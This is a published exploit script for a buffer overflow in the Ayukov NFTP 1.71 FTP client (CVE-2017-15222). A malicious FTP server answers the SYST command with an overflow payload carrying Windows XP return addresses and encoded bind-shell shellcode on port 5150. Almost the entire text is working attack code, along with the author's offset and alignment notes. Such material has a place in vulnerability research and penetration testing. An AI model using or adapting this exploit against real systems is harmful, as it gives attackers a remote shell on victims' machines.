Ayukov NFTP 1.71 Buffer Overflow

`# Exploit Title: Ayukov NFTP client 1.71 - 'SYST' Buffer Overflow  
# Date: 2019-11-03  
# Exploit Author: Chase Hatch (SYANiDE)  
# Vendor Homepage: http://ayukov.com/nftp/  
# Software Link: ftp://ftp.ayukov.com/pub/nftp/nftp-1.71-i386-win32.exe  
# Version: 1.71  
# Tested on: Windows XP Pro SP0, SP1, SP2, SP3  
# CVE : https://nvd.nist.gov/vuln/detail/CVE-2017-15222  
# Steps to reproduce:  
# Run the server with the valid Windows version  
# Connect the client to the malicious server  
# bind shell on port 5150  
  
#!/usr/bin/env python2  
import os, sys, socket  
  
NARGS = len(sys.argv)  
  
# ntdll.dll # dllcharacteristics flags: 0x0 (ASLR=no, DEP=no, SEH=yes)  
# kernel32.dll # dllcharacteristics flags: 0x0 (ASLR=no, DEP=no, SEH=yes)  
# 7C923A95 FFD6 CALL ESI # Windows XP Pro SP3; ntdll.dll  
# 7C927543 FFD6 CALL ESI# Windows XP Pro SP2; ntdll.dll  
# 77E641C7 FFE6 JMP ESI# Windows XP Pro SP1; kernel32.dll  
# 77E667F3 FFE6 JMP ESI# Windows XP Pro SP0: kernel32.dll  
tourRETs = {  
"XPProSP3": "\x95\x3A\x92\x7c",  
"XPProSP2": "\x43\x75\x92\x7C",  
"XPProSP1": "\xc7\x41\xe6\x77",  
"XPProSP0": "\xf3\x67\xe6\x77"  
}  
  
  
if not NARGS > 1:  
print("USAGE: %s version" % sys.argv[0])  
print("[.] version must be in:")  
for item in tourRETs:  
print("\t%s" % item)  
sys.exit(1)  
  
  
# sploit = "A"*5000 # crash! in SYST cmd, 41414141 in EIP and EBP  
# ESP and ESI both pointers to somewhere in the As  
# If I increase the overflow string to 10000, the area ESP points to at crash  
#, goes from 864 bytes of uninterrupted \x41's to roughly 4056 bytes.  
# sploit = "A"*10000  
# sploit = sys.argv[1] # $(`locate pattern_create.rb|head -n 1` 10000) # 46326846 in EIP  
# `locate pattern_offset.rb |head -n 1` 46326846 10000 # 4116  
sploit = "A"*4116  
  
# Add the return address  
try:  
sploit += tourRETs[sys.argv[1]]  
except KeyError, x:  
print("[!] Version %s: not a valid version! Possibly bad capitalization" % str(x))  
sys.exit(1)  
  
sploit += ("\x90"*12) # original calcs based on RET*4... oops. realign.  
  
# echo "ibase=16;obase=10;0247CED1 - 0247C834" |bc # 0x69D (1693); ESP-ESI  
sploit += "\x90"*1693 # leaves 16 nops at jmp/call target before Cs  
  
  
# badchars = "\x00\x0a\x0d"  
# locate EIP and align ESP to a close future 4 and 16 byte boundary  
NOTES = """\  
$-37 > D9EE FLDZ  
$-35 > D97424 F4 FSTENV (28-BYTE) PTR SS:[ESP-C]  
$-31 > 59 POP ECX  
$-30 > 80C1 09 ADD CL,9  
$-2D > 80C1 04 ADD CL,4  
$-2A > 80C1 2A ADD CL,2A  
$-27 > 80C5 01 ADD CH,1  
$-24 > 51 PUSH ECX  
$-23 > 5C POP ESP  
"""  
sploit += "\xD9\xEE\xD9\x74\x24\xF4\x59\x80\xc1\x09\x80\xc1\x04" #13 bytes  
sploit += "\x80\xc1\x2a\x80\xc5\x01\x51\x5c" # 8 bytes  
sploit += "\x90" * 0x22 # ESP = EIP  
sploit += "\x90" * 20 # sled for shikata_ga_nai unpack  
  
# msfvenom -p windows/shell_bind_tcp LPORT=5150 EXITFUNC=process   
# -b "\x00\x0a\x0d" -e x86/shikata_ga_nai -i 1 -f c  
sploit += (  
"\xba\xd2\xe1\x61\xb1\xdb\xc6\xd9\x74\x24\xf4\x5b\x2b\xc9\xb1"  
"\x53\x83\xeb\xfc\x31\x53\x0e\x03\x81\xef\x83\x44\xd9\x18\xc1"  
"\xa7\x21\xd9\xa6\x2e\xc4\xe8\xe6\x55\x8d\x5b\xd7\x1e\xc3\x57"  
"\x9c\x73\xf7\xec\xd0\x5b\xf8\x45\x5e\xba\x37\x55\xf3\xfe\x56"  
"\xd5\x0e\xd3\xb8\xe4\xc0\x26\xb9\x21\x3c\xca\xeb\xfa\x4a\x79"  
"\x1b\x8e\x07\x42\x90\xdc\x86\xc2\x45\x94\xa9\xe3\xd8\xae\xf3"  
"\x23\xdb\x63\x88\x6d\xc3\x60\xb5\x24\x78\x52\x41\xb7\xa8\xaa"  
"\xaa\x14\x95\x02\x59\x64\xd2\xa5\x82\x13\x2a\xd6\x3f\x24\xe9"  
"\xa4\x9b\xa1\xe9\x0f\x6f\x11\xd5\xae\xbc\xc4\x9e\xbd\x09\x82"  
"\xf8\xa1\x8c\x47\x73\xdd\x05\x66\x53\x57\x5d\x4d\x77\x33\x05"  
"\xec\x2e\x99\xe8\x11\x30\x42\x54\xb4\x3b\x6f\x81\xc5\x66\xf8"  
"\x66\xe4\x98\xf8\xe0\x7f\xeb\xca\xaf\x2b\x63\x67\x27\xf2\x74"  
"\x88\x12\x42\xea\x77\x9d\xb3\x23\xbc\xc9\xe3\x5b\x15\x72\x68"  
"\x9b\x9a\xa7\x05\x93\x3d\x18\x38\x5e\xfd\xc8\xfc\xf0\x96\x02"  
"\xf3\x2f\x86\x2c\xd9\x58\x2f\xd1\xe2\x72\xae\x5c\x04\x10\xde"  
"\x08\x9e\x8c\x1c\x6f\x17\x2b\x5e\x45\x0f\xdb\x17\x8f\x88\xe4"  
"\xa7\x85\xbe\x72\x2c\xca\x7a\x63\x33\xc7\x2a\xf4\xa4\x9d\xba"  
"\xb7\x55\xa1\x96\x2f\xf5\x30\x7d\xaf\x70\x29\x2a\xf8\xd5\x9f"  
"\x23\x6c\xc8\x86\x9d\x92\x11\x5e\xe5\x16\xce\xa3\xe8\x97\x83"  
"\x98\xce\x87\x5d\x20\x4b\xf3\x31\x77\x05\xad\xf7\x21\xe7\x07"  
"\xae\x9e\xa1\xcf\x37\xed\x71\x89\x37\x38\x04\x75\x89\x95\x51"  
"\x8a\x26\x72\x56\xf3\x5a\xe2\x99\x2e\xdf\x12\xd0\x72\x76\xbb"  
"\xbd\xe7\xca\xa6\x3d\xd2\x09\xdf\xbd\xd6\xf1\x24\xdd\x93\xf4"  
"\x61\x59\x48\x85\xfa\x0c\x6e\x3a\xfa\x04"  
) # 355  
sploit += "C" * (10000 - 4116 - 4 - 12 - 1693 - 13 - 8 - 0x22 - 355 - 20)  
  
  
cases = {  
"USER": "331 user OK. Pass required",  
"PASS": "230 OK, current directory is /",  
# "SYST": "215 UNIX Type: L8",  
  
"SYST": sploit,# CRASH! in response to SYST cmd/request, w/"A"*5000, 41414141 in EIP and EBP  
  
"TYPE": "200 TYPE is whatever was just requested... \"yeah, ok\"",  
"SITE UMASK": "500 SITE UMASK is an unknown extension",  
"CWD": "250 OK, current directory whatever you think it is",  
"PORT": "200 PORT command successful",  
"PASV": "227 Entering PASV mode",  
"LIST": "150 Connecting to whatever port.\r\n226 ASCII\r\n226 Options: -a -l\r\n226 3 matches total"  
}  
  
  
sx = socket.socket(socket.AF_INET,socket.SOCK_STREAM)  
sx.bind(("192.168.56.181",21))  
sx.listen(5)  
print("[.] Standing up HostileFTPd v0.0 alpha, port 21")  
cx,addr = sx.accept()  
print("[!] Connection received from %s" % str(addr))  
cx.send("220 HostileFTPd v0.0 alpha !\r\n")  
notified = 0  
while True:  
req = cx.recv(1024)  
for key, resp in cases.items():  
if key in req:  
cx.send(resp + "\r\n")  
if "SITE UMASK" in req and notified == 0:  
print("[!] Buffer sent. Bind shell on client's port 5150?")  
notified = 1  
if "PASV" in req:  
justpause = raw_input("[.] PASV received. Pausing recv buffer")  
  
  
NOTES="""\  
### followed TCP stream in normal client connect to ftp server  
220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------  
220-You are user number 1 of 50 allowed.  
220-Local time is now 13:47. Server port: 21.  
220-This is a private system - No anonymous login  
220-IPv6 connections are also welcome on this server.  
220 You will be disconnected after 15 minutes of inactivity.  
USER bozo  
331 User bozo OK. Password required  
PASS theclown  
230-User bozo has group access to: 1003   
230 OK. Current directory is /  
SYST  
215 UNIX Type: L8  
TYPE I  
200 TYPE is now 8-bit binary  
SITE UMASK 022  
500 SITE UMASK is an unknown extension  
CWD /  
250 OK. Current directory is /  
PASV  
227 Entering Passive Mode (192,168,56,181,183,29)  
LIST -a  
150 Accepted data connection  
226-ASCII  
226-Options: -a -l   
226 3 matches total  
"""  
`